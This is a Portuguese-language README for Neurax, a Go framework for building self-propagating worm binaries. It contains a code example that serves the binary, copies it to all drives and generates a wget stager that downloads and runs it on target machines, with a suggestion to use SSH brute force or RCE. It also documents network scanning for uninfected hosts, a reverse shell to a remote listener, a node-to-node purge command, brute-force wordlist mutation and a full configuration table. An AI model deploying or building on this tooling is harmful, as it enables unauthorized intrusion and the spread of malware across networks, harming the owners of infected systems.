
Um framework para construção de binários autopropagantes
Um framework que auxilia na criação de software de autopropagação
Com a ajuda do Neurax, binários Go podem se propagar em LAN/WAN sem usar quaisquer servidores externos.
Diversas opções de configuração e stagers de comando permitem propagação rápida em diversos ambientes sem fio.
package main
import . "github.com/redcode-labs/Neurax"
func main(){
//Especifica a porta de serviço e o stager a ser usado
Nrx.Config.Port = 5555
Nrx.Config.Stager = "wget"
//Inicia um servidor que expõe o binário atual em segundo plano
go NeuraxServer()
//Copia o binário atual para todas as unidades lógicas
NeuraxDisks()
//Cria um stager de comando que deve ser lançado na máquina alvo
//Ele baixará, decodificará e executará o binário
cmd_stager := NeuraxStager()
/* Agora você precisa de alguma forma executar o comando gerado acima.
Você pode usar SSH bruteforce, algum RCE ou o que mais quiser ;> */
}
unlinkat(2)N.StagerBg)N.NoInfectCheck para desabilitar verificação se o host já está infectado.NeuraxServer().httrack para LinuxN.StagerRemovalDelay).FastScan que torna os escaneamentos ativos um pouco mais rápidosNeuraxScan() aceita uma função de callback em vez de um canal como argumento.NeuraxScan() escaneia em loop infinito com possibilidade de definir intervalo entre cada escaneamento de toda a sub-rede/pool de alvosNeuraxConfig. tornou-se N. (porque é mais curto de digitar)wget + curl).WordlistExpand)A função NeuraxScan(func(string)) permite a detecção de hosts ativos na rede local.
Seu único argumento é uma função de callback que é chamada em segundo plano para cada host ativo.
Um host é tratado como ativo quando tem pelo menos 1 porta aberta, não está já infectado e cumpre as condições especificadas dentro de N.
NeuraxScan() executa como um loop infinito - ela escaneia toda a sub-rede especificada pela entrada de configuração .Cidr e quando todos os hosts são escaneados, a função dorme por um intervalo definido em .ScanInterval.
O binário Neurax não precisa se copiar usando meios sem fio.
A função NeuraxDisks() copia o binário atual (sob um nome não suspeito) para todas as unidades lógicas encontradas.
O binário copiado não é executado, mas simplesmente reside em seu destino esperando para ser executado.
NeuraxDisks() retorna um error se a lista de discos não puder ser obtida ou a cópia para qualquer destino foi impossível.
Outra função, NeuraxZIP(num_files int) err permite criar um arquivo .zip com nome aleatório contendo o binário atual.
Ele é salvo no diretório atual e contém até num_files arquivos aleatórios.
NeuraxZIPSelf() simplesmente compacta o binário atual, criando um arquivo com o mesmo nome.
Um shell reverso interativo pode ser estabelecido com NeuraxReverse().
Ele receberá comandos do hostname especificado dentro de .ReverseListener na forma de "<host>:<port>".
O protocolo usado é definido em .ReverseProto
Se NeuraxOpenComm() foi iniciado antes de chamar esta função, cada comando se comportará como descrito na seção acima.
Se não foi, os comandos serão executados localmente.
Nota: esta função também deve ser executada como goroutine para evitar bloqueio causado pelo loop infinito usado para recebimento.
Sempre que um comando "purge" é recebido por um nó, ele reenvia este comando para todos os outros nós, remove-se do host e sai.
Este comportamento também pode ser iniciado usando NeuraxPurge() executado em algum lugar do código fonte.
Se o vetor de propagação de sua escolha é baseado em algum tipo de bruteforce, é bom ter uma wordlist adequada preparada.
Armazenar palavras em um arquivo de texto no lado do cliente não é realmente eficaz, então você pode mutar uma wordlist básica usando NeuraxWordlist(...words) []string.
Para permutar um conjunto de palavras fornecidas, use NeuraxWordlistPermute(..words) []string
Se você quiser que seu binário se remova após um determinado tempo, use NeuraxSetTTL() no início do seu código.
Esta função deve ser lançada como uma goroutine.
Por exemplo:
go NeuraxSetTTL("2m")
fará com que o binário execute NeuraxPurgeSelf() após 2 minutos da execução inicial.
Se você quiser encadear todos os stagers disponíveis para uma determinada plataforma, defina .Stager como "chain".
Se você precisar copiar o binário após a execução inicial, use NeuraxMigrate(path string).
Ele copiará o binário para path, removerá o binário atual e executará o binário recém-migrado.
Se você gosta deste projeto e quer vê-lo crescer, por favor considere fazer uma pequena doação :>
Este software está sob licença MIT
| Nome | Descrição | Valor padrão |
|---|
| Nrx.Config.Stager | Nome do stager de comando a ser usado | random, platform-compatible |
| Nrx.Config.StagerSudo | Se verdadeiro, stagers de comando Linux são executados com privilégios elevados | false |
| Nrx.Config.StagerRetry | Número de vezes para reexecutar o stager de comando | 0 |
| Nrx.Config.StagerRemoveDelay | Instrução de suspensão é aplicada antes de remover o binário baixado | true |
| Nrx.Config.Port | Porta para servir | 6741 |
| Nrx.Config.Platform | Plataforma a ser alvo | detected automatically |
| Nrx.Config.Path | Caminho sob o qual o binário é salvo no host | . |
| Nrx.Config.FileName | Nome sob o qual o binário baixado deve ser servido e depois salvo | random |
| Nrx.Config.Base64 | Codificar o binário transferido em base64 | false |
| Nrx.Config.CommPort | Porta usada pelos binários para se comunicarem entre si | 7777 |
| Nrx.Config.CommProto | Protocolo para comunicação entre nós | "udp" |
| Nrx.Config.ReverseListener | Contém "<host>:<port>" do manipulador de shell reverso remoto | not specified |
| Nrx.Config.ReverseProto | Protocolo a ser usado para conexão reversa | "udp" |
| Nrx.Config.ScanRequiredPort | NeuraxScan() trata o host como ativo apenas quando ele tem uma porta específica aberta | none |
| Nrx.Config.ScanPassive | NeuraxScan() detecta hosts usando monitoramento passivo de tráfego ARP | false |
| Nrx.Config.ScanPassiveTimeout | NeuraxScan() monitora a camada ARP por essa quantidade de segundos | 50 seconds |
| Nrx.Config.ScanPassiveIface | Interface a ser usada ao escanear passivamente | default |
| Nrx.Config.ScanActiveTimeout | NeuraxScan() define esse valor como timeout para a porta escaneada em cada thread | 2 seconds |
| Nrx.Config.ScanPassiveAll | NeuraxScan() captura pacotes em todos os dispositivos encontrados | false |
| Nrx.Config.ScanPassiveNoArp | Escaneamento passivo não define filtro estrito de captura ARP | false |
| Nrx.Config.ScanFirst | Uma slice contendo endereços IP a serem escaneados primeiro | []string{} |
| Nrx.Config.ScanFirstOnly | NeuraxScan() escaneia apenas hosts especificados dentro de .ScanFirst | false |
| Nrx.Config.ScanArpCache | NeuraxScan() escaneia primeiro os hosts encontrados na cache ARP local. Funciona apenas com escaneamento ativo | false |
| Nrx.Config.ScanCidr | NeuraxScan() escaneia este CIDR | local IP + "\24" |
| Nrx.Config.ScanActiveThreads | Número de threads a serem usadas para NeuraxScan() | 10 |
| Nrx.Config.ScanFullRange | NeuraxScan() escaneia todas as portas do host alvo para determinar se está ativo | from 19 to 300 |
| Nrx.Config.ScanInterval | Intervalo de tempo para dormir antes de escanear toda a sub-rede novamente | "2m" |
| Nrx.Config.ScanHostInterval | Intervalo de tempo para dormir antes de escanear o próximo host no modo ativo | "none" |
| Nrx.Config.ScanGatewayFirst | Gateway é o primeiro host escaneado quando o escaneamento ativo é usado | false |
| Nrx.Config.Verbose | Se verdadeiro, todas as mensagens de erro são impressas no STDOUT | false |
| Nrx.Config.Remove | Quando ocorrer qualquer erro, o binário se remove do host | false |
| Nrx.Config.PreventReexec | Se verdadeiro, quando qualquer comando coincidir com os que já foram recebidos antes, ele não é executado | true |
| Nrx.Config.WordlistExpand | NeuraxWordlist() realiza transformações não padrão nas palavras de entrada | false |
| Nrx.Config.WordlistCommon | Antepor 20 senhas mais comuns à wordlist | false |
| Nrx.Config.WordlistCommonNum | Número de senhas comuns a usar | all |
| Nrx.Config.WordlistCommonCountries | Um map[string]int que contém códigos de país e número de senhas a usar | map[string]int |
| Nrx.Config.WordlistMutators | Mutadores a usar quando .WordlistExpand é especificado | {"single_upper", "cyryllic", "encapsule"} |
| Nrx.Config.WordlistPermuteNum | Comprimento máximo da permutação gerada por NeuraxWordlistPermute() | 2 |
| Nrx.Config.WordlistPermuteSeparator | Um caractere separador para usar nas permutações | "-" |
| Nrx.Config.WordlistShuffle | Embaralhar a wordlist gerada antes de retorná-la | false |
| Nrx.Config.AllocNum | Esta entrada define quantas vezes NeuraxAlloc() aloca memória aleatória | 5 |
| Nrx.Config.Blacklist | Slice que contém endereços IP que são excluídos de qualquer tipo de escaneamento | []string{} |
| Nrx.Config.FastHTTP | Requisição HTTP em IsHostInfected() é realizada usando a biblioteca fasthttp | false |
| Nrx.Config.Debug | Habilitar mensagens de debug | false |
| Nrx.Config.NoInfectCheck | Desabilitar verificação se o host já está infectado | true |